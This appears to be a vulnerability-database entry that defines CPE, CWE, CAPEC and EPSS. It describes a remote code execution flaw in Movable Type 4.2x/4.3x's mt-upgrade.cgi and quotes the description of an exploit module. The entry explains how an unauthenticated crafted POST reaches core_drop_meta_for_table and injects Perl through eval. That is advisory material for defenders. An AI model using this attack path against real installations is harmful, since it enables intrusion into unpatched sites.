CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

lib/MT/Upgrade.pm in mt-upgrade.cgi in Movable Type 4.2x and 4.3x through 4.38 does not require authentication for requests to database-migration functions, which allows remote attackers to conduct eval injection and SQL injection attacks via crafted parameters, as demonstrated by an eval injection attack against the core_drop_meta_for_table function, leading to execution of arbitrary Perl code.
Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution',
'Description' => %q{
This module can be used to execute a payload on MoveableType (MT) that
exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi),
that is used during installation and updating of the platform.
The vulnerability arises due to the following properties:
1. This script may be invoked remotely without requiring authentication
to any MT instance.
2. Through a crafted POST request, it is possible to invoke particular
database migration functions (i.e functions that bring the existing
database up-to-date with an updated codebase) by name and with
particular parameters.
3. A particular migration function, core_drop_meta_for_table, allows
a class parameter to be set which is used directly in a perl eval
statement, allowing perl code injection.
